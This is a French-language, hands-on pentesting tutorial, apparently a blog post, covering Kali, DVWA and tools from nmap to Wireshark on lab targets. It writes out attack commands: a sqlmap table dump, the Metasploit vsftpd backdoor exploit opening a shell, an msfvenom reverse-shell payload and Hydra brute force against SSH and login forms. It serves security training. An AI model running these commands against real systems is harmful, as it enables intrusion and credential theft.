Lecture : 14 minutes · Niveau : intermédiaire · Mise à jour : avril 2026
⚠️ Disclaimer : Tous les exemples ci-dessous s’exécutent sur labs légaux (TryHackMe, HackTheBox, DVWA local, machines virtuelles VulnHub) ou sur des cibles dont vous avez l’autorisation écrite préalable. Toute utilisation contre des systèmes tiers sans consentement est illégale.
Ce tutoriel pratique installe et configure les outils incontournables du pentesting, puis montre les commandes exactes à utiliser sur des cibles légales. Pas de théorie creuse : chaque outil est mis en pratique sur DVWA (Damn Vulnerable Web Application) installable en local, ou sur des machines TryHackMe / HackTheBox accessibles aux débutants.
Voir aussi → Pentesting éthique pour PME : guide complet, Pentesting d’applications web.
Sommaire
- Installer Kali Linux en VM
- Monter un lab DVWA local
- Nmap : scan de ports en pratique
- Gobuster : énumération de répertoires
- Burp Suite : intercepter et modifier HTTP
- sqlmap : injection SQL automatisée
- Metasploit : exploitation guidée
- Hydra : brute force SSH et HTTP
- Wireshark : capture et analyse réseau
- Workflow type sur une cible légale
- FAQ
1. Installer Kali Linux en VM
Kali Linux est la distribution de référence pour le pentesting : tous les outils utilisés ici sont préinstallés.
Pré-requis : 8 Go de RAM minimum, 40 Go de disque, VirtualBox ou VMware.
Étapes :
# 1. Télécharger l'image VM officielle (kali.org/get-kali)
# Choisir : Virtual Machines > VirtualBox 64-bit (.7z)
# 2. Décompresser puis ouvrir le fichier .vbox dans VirtualBox
# 3. Démarrer la VM
# Login par défaut : kali / kali
Configuration recommandée après le premier démarrage :
# Mise à jour
sudo apt update && sudo apt upgrade -y
# Vérifier les outils essentiels
which nmap gobuster sqlmap msfconsole hydra wireshark
# Tous doivent retourner un chemin /usr/bin/...
Réseau VM : configurer en Host-only ou Internal Network pour les exercices avec DVWA, en NAT pour TryHackMe/HackTheBox via VPN.
2. Monter un lab DVWA local
DVWA est une application web volontairement vulnérable, idéale pour s’entraîner légalement.
Installation rapide via Docker :
# Sur la VM Kali ou une machine Linux
sudo apt install docker.io -y
sudo systemctl start docker
# Lancer DVWA
sudo docker run --rm -it -p 8080:80 vulnerables/web-dvwa
Ouvrir http://localhost:8080 dans Firefox de Kali. Login par défaut : admin / password.
Configurer DVWA :
1. Aller sur Setup / Reset DB → cliquer « Create / Reset Database »
2. Aller sur DVWA Security → choisir niveau Low pour démarrer
3. Tester chaque module : Brute Force, Command Injection, SQL Injection, XSS, etc.
Vérifier que DVWA répond :
curl -s http://localhost:8080/login.php | grep "Damn Vulnerable"
# Doit afficher une ligne contenant "Damn Vulnerable Web Application"
3. Nmap : scan de ports en pratique
Nmap cartographie les services exposés sur une cible.
Scan de base :
nmap 127.0.0.1
# Lance un scan TCP des 1000 ports les plus courants
Sortie typique :
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Scan de version (-sV) :
nmap -sV -p 80,8080 127.0.0.1
# Identifie les versions exactes des services
Sortie typique :
80/tcp open http nginx 1.18.0
8080/tcp open http Apache httpd 2.4.41
Scan complet avec scripts NSE (-sC) :
nmap -sV -sC -p- 192.168.56.10
# -p- : tous les ports 1-65535
# -sC : scripts par défaut (vulnérabilités courantes, banners)
Scan agressif (-A) :
nmap -A 192.168.56.10
# Combine -sV -sC -O (OS detection) -traceroute
⚠️ Sur cible légale uniquement. L’option -A est très bruyante et facilement détectée par un IDS.
Scan rapide pour une infra étendue :
nmap -T4 --top-ports 100 -oN scan.txt 192.168.1.0/24
# T4 : timing rapide
# top-ports 100 : seulement les 100 ports les plus fréquents
# -oN : sortie au format normal dans scan.txt
Astuce : sauvegarder TOUS les scans avec -oA basename qui génère 3 formats (.nmap, .gnmap, .xml) pour le rapport et les imports d’outils tiers.
4. Gobuster : énumération de répertoires
Gobuster trouve des répertoires et fichiers cachés sur un serveur web.
Wordlist standard : /usr/share/wordlists/dirb/common.txt (préinstallée sur Kali).
Commande de base :
gobuster dir -u http://localhost:8080 -w /usr/share/wordlists/dirb/common.txt
Sortie typique :
/admin (Status: 301)
/config (Status: 200)
/login.php (Status: 200)
/uploads (Status: 403)
Avec extensions PHP :
gobuster dir -u http://localhost:8080 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt
Wordlist plus exhaustive (SecLists) :
sudo apt install seclists -y
# Wordlists dans /usr/share/seclists/
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Énumération de sous-domaines (mode dns) :
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
⚠️ À utiliser uniquement sur des domaines dont vous avez l’autorisation.
5. Burp Suite : intercepter et modifier HTTP
Burp Suite est l’outil de référence pour le pentest d’applications web. Version Community gratuite préinstallée sur Kali.
Lancer Burp :
burpsuite
Configuration du proxy navigateur :
- Dans Burp :
Proxy > Proxy settings→ vérifier que le listener écoute sur127.0.0.1:8080 - Configurer Firefox :
Préférences > Réseau > Paramètres > Configuration manuelle→ HTTP proxy127.0.0.1port8080(cocher « Utiliser ce serveur proxy pour tous les protocoles ») - Importer le certificat Burp : aller sur
http://burpdans Firefox, cliquer « CA Certificate », importer dans Firefox (Préférences > Vie privée > Certificats > Afficher les certificats > Importer)
Test rapide :
– Activer Proxy > Intercept > Intercept is on
– Aller sur http://localhost:8080/login.php dans Firefox
– Burp intercepte la requête HTTP — la voir dans Proxy > HTTP history
Modifier une requête à la volée :
– Avec intercept ON, soumettre le formulaire de login DVWA avec admin / wrong
– Dans Burp, modifier le paramètre password=wrong en password=password puis Forward
– Le navigateur voit la réponse comme si on avait soumis le bon mot de passe
Repeater (Ctrl+R) : envoie la même requête modifiée plusieurs fois sans repasser par le navigateur. Indispensable pour tester des injections.
Intruder : brute force / fuzzing sur un paramètre. La version Community a un throttling — pour un usage intensif, version Pro payante.
6. sqlmap : injection SQL automatisée
sqlmap automatise la détection et l’exploitation d’injections SQL.
Sur DVWA (niveau Low), module SQL Injection :
- Se connecter à DVWA
- Aller sur
SQL Injection, soumettre1dans le formulaire User ID - Copier l’URL complète :
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit - Récupérer le cookie de session :
F12 > Application > Cookies→ noterPHPSESSIDetsecurity
Lancer sqlmap :
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123; security=low" \
--batch
Sortie typique (extraits) :
[INFO] Parameter 'id' is vulnerable
[INFO] back-end DBMS: MySQL >= 5.0
sqlmap identified the following injection point(s):
Parameter: id (GET)
Type: boolean-based blind
Type: error-based
Type: UNION query
Énumérer les bases de données :
sqlmap -u "..." --cookie="..." --dbs
Énumérer les tables d’une DB :
sqlmap -u "..." --cookie="..." -D dvwa --tables
Dump complet d’une table :
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump
⚠️ Le dump récupère tous les hashes de mots de passe et noms d’utilisateurs. Sur DVWA c’est l’objectif pédagogique. Sur une cible réelle dans un pentest autorisé, demander confirmation au commanditaire avant tout dump de données.
7. Metasploit : exploitation guidée
Metasploit Framework est le toolkit d’exploitation le plus utilisé.
Lancer la console :
sudo msfdb init # Initialise la DB PostgreSQL (une seule fois)
msfconsole
Workflow type contre une cible vulnérable légale (ex. : Metasploitable 2 en VM, IP 192.168.56.10) :
msf6 > workspace -a lab1
msf6 > db_nmap -sV -p- 192.168.56.10
# Importe les résultats nmap dans la DB Metasploit
msf6 > services
# Liste tous les services trouvés
msf6 > search vsftpd 2.3.4
# Cherche un exploit pour ce service précis
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.10
msf6 exploit(...) > run
# Exploitation
Sortie typique d’une exploitation réussie :
[*] 192.168.56.10:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.10:21 - Backdoor service has been spawned
[*] Command shell session 1 opened
Commandes utiles dans une session :
sessions -l # Liste les sessions actives
sessions -i 1 # Interagir avec la session 1
background # Mettre la session en arrière-plan
Générer un payload avec msfvenom :
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-f elf -o shell.elf
# Génère un binaire reverse shell
⚠️ Avant d’exécuter un payload sur une cible : comprendre exactement ce qu’il fait, vérifier que le ROE l’autorise, et avoir une procédure de nettoyage post-test.
8. Hydra : brute force SSH et HTTP
Hydra teste rapidement des combinaisons login/password sur divers protocoles.
Brute force SSH :
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
ssh://192.168.56.10 -t 4
# -l : login fixe
# -P : wordlist de passwords
# -t 4 : 4 threads (éviter trop pour ne pas casser le service)
Décompresser rockyou.txt avant usage :
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Brute force HTTP form (DVWA Brute Force module) :
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
127.0.0.1 -s 8080 \
http-get-form "/vulnerabilities/brute/?username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=abc123; security=low"
Critères pour Hydra :
– ^USER^ et ^PASS^ : placeholders pour les valeurs testées
– Après le 2e : : la chaîne d’échec (Hydra considère succès si cette chaîne n’apparaît pas)
– H=Cookie: : header à ajouter (session DVWA ici)
⚠️ Très bruyant. Sur un pentest réel, valider la fenêtre de test et le risque de déclencher des verrouillages de comptes.
9. Wireshark : capture et analyse réseau
Wireshark capture le trafic réseau pour analyse.
Lancer :
sudo wireshark
Capture sur l’interface eth0 :
1. Sélectionner eth0 dans la liste
2. Cliquer sur l’aileron bleu (Start Capture)
3. Générer du trafic (ex. : curl http://localhost:8080)
4. Stopper la capture (carré rouge)
Filtres de display utiles :
http # Toutes les requêtes HTTP
http.request.method == POST # Seulement les POST
ip.addr == 192.168.56.10 # Trafic de/vers cette IP
tcp.port == 80 # Port 80 uniquement
tcp.stream eq 0 # Suivre le premier stream TCP
Suivre une session HTTP entière :
– Clic droit sur un paquet HTTP > Follow > HTTP Stream
– Affiche la conversation complète (requête + réponse en clair)
Cas pédagogique : envoyer un login DVWA (HTTP non chiffré localement) et observer dans Wireshark le mot de passe en clair dans la requête POST. Démonstration parlante de l’importance de HTTPS.
Sauvegarder une capture :
– File > Save As > .pcapng
– Réimport possible plus tard ou pour analyse via tshark en CLI
10. Workflow type sur une cible légale
Combinaison des outils ci-dessus en workflow complet sur une machine TryHackMe ou HackTheBox.
Pré-requis :
– VPN TryHackMe configuré (sudo openvpn votre-config.ovpn)
– Une machine cible démarrée sur la plateforme (note bien son IP, ex. 10.10.10.50)
Étape 1 : reconnaissance
# Scan rapide
nmap -sV -sC -oA scan-initial 10.10.10.50
# Si web ouvert
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt
Étape 2 : analyse du web
- Lancer Burp Suite, configurer le proxy
- Naviguer manuellement sur le site, mapper l’application
- Identifier les formulaires, paramètres GET/POST, points d’authentification
Étape 3 : tests ciblés
# Si paramètre suspect
sqlmap -u "http://10.10.10.50/page?id=1" --batch --level=3 --risk=2
# Si login form
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.50 http-post-form "..."
Étape 4 : exploitation
Selon la vulnérabilité trouvée, utiliser Metasploit ou un exploit manuel. Toujours conserver les preuves : screenshots, payloads, dumps.
Étape 5 : documentation
# Garder un journal de commandes avec script
script -a session-$(date +%F).log
# Toutes les commandes et sorties sont enregistrées dans le fichier
# Tapez 'exit' pour terminer la capture
Voir Rédiger un rapport de pentesting professionnel pour structurer les findings.
FAQ
Faut-il vraiment Kali Linux ou Ubuntu suffit ?
Ubuntu/Debian fonctionnent : apt install nmap gobuster sqlmap metasploit-framework hydra wireshark. Kali a l’avantage de tout préinstaller et d’inclure des wordlists et configurations. Pour un débutant : Kali. Pour un usage professionnel régulier : Kali ou ParrotOS.
Mon antivirus bloque les outils. Que faire ?
Normal — beaucoup d’outils de pentest sont détectés comme malware. Toujours travailler dans une VM dédiée, jamais sur la machine de production. Sur la VM Kali, désactiver tout antivirus et travailler sur un réseau isolé.
Comment débuter sans cible légale sous la main ?
S’inscrire gratuitement sur TryHackMe (parcours débutant excellent) et HackTheBox (machines plus avancées). En local : DVWA, OWASP Juice Shop, Metasploitable 2/3, VulnHub (machines VM téléchargeables).
Mes scans ralentissent énormément ma VM. Optimisations ?
Allouer 4 Go de RAM minimum, 2 CPU. Limiter les threads (-t pour Hydra, -T pour Nmap), éviter les scans agressifs (-A) sur des plages /24 entières. Pour des scans massifs, utiliser Masscan plutôt que Nmap puis cibler avec Nmap.
Où trouver de bonnes wordlists ?
SecLists (apt install seclists) est la référence : login, password, sous-domaines, fichiers, fuzzing. Pour les passwords : rockyou.txt (préinstallé Kali, à décompresser), Have I Been Pwned wordlists, Probable-Wordlists.
Burp Community ou Pro ?
Community suffit pour apprendre et faire des pentests basiques. Pro ($449/an au moment de la rédaction, vérifier sur portswigger.net) ajoute Active Scanner automatisé, Intruder sans throttling, et des extensions critiques. Pour un pentester professionnel : Pro est rapidement rentable.
Quels certifications viser pour devenir pentester ?
Débutant : eJPT (gratuit / abordable), CompTIA Security+, certifications TryHackMe. Intermédiaire : OSCP (référence absolue, exam pratique 24h). Avancé : OSWE (web), OSEP (évasion), CRTO/CRTP (red team Active Directory).
Comment se tenir à jour sur les outils ?
Suivre les blogs : PortSwigger Web Security Academy, HackTheBox blog, IppSec sur YouTube (excellent pour voir des walkthroughs), 0x00sec, r/netsec sur Reddit. Pratiquer 1-2h/semaine sur des machines TryHackMe/HTB pour ne pas perdre la main.
Articles liés (cluster Pentesting)
- 👉 Pentesting éthique pour PME : guide complet
- 👉 Pentesting d’applications web : OWASP Top 10
- 👉 Rédiger un rapport de pentesting professionnel
Voir aussi : Linux administration avancée pour PME pour maîtriser le système hôte, Cybersécurité pour PME africaines pour le cadre stratégique.
Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.